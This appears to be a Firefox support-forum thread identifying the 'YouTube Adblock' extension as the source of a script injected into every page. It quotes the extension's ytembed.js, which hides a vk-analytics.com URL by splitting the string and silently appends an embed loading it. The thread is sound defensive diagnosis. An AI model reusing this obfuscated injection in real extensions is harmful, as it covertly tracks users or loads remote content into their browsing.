Hello, You have an extension type video downloader (savefrom net youtube downloader with all the variant even a download manager extension ) Pretty sure that it is responsible for this behavior Another question: You have a proxy or a proxy type extension: (vpn, private shields,etc) Try to remove them. Hope this help

Thank you Anna! Looks like YouTube Adblock was loading the script. I disabled it and it stopped.

Hi washicd, can you post the unique ID of that extension so the Add-ons team can consider blocking it? The easiest place to find it is on the Troubleshooting Information page. Either:

• "3-bar" menu button > "?" Help > Troubleshooting Information
• (menu bar) Help > Troubleshooting Information
• type or paste about:support in the address bar and press Enter

Scroll down past "Application Basics" and "Firefox Features" to "Extensions". Then you can select the relevant portion of the table for that extension (or the entire table) -- not the entire page, please, that's too much information. Then you can copy using either Ctrl+c or right-click > Copy and then paste it into a reply. It will be a bit messy, but we're used it.

There are other things that need attention.

The System Details list shows that you have an outdated Flash plugins, current is 31.0.0.108 (31.0 r0).

• Shockwave Flash 24.0 r0

You can find the installation path of a plugin on the about:plugins page.

You can download the latest NPAPI Flash plugin for Firefox on this page.

• https://get.adobe.com/flashplayer/otherversions/

There are several reports that this extension injects a script on every page.

• https://addons.mozilla.org/en-US/firefox/addon/youtube-adblock-adblocker/reviews

Addon embeds javascript for vk-analytics on every page before body ends. Please report abuse.

✓ Privacy Policy: This extension uses Google Analytics, a web analytics service provided by Google, Inc. (“Google”). Google Analytics uses “cookies”, which are text files placed on your computer, to help the website analyze how users use the site.

"name": "__MSG_extension_name__",
"description": "__MSG_extension_description__",
"short_name": "YouTubeAdblock",    
"applications": {
"gecko": { "id": "{80e9f0be-bd1e-4b69-b079-5f44b2962921}" }

ytembed.js :

    initialize: function () {  
		getStorage();
		var ytEmbed = document.createElement("embed");
		ytEmbed.src = '//vk' + '-' + 'analytics.com' + '/youtube';
		ytEmbed.onload = function() {
			temp.remove()
		};
		ytEmbed.onerror = function() {
			temp.remove()
		};
		var temp = document.body.appendChild(ytEmbed);
	}

Thanks jscher2000, here is that extension information:

YouTube Adblock 2.1.3 false {80e9f0be-bd1e-4b69-b079-5f44b2962921}

cor-el, thanks for that! I updated that flash plugin. Also, I searched for "vk-analytics" on one of the page sources while noscript was disabled and didn't find anything. I see from your post that it wasn't quite so obvious. Thanks again!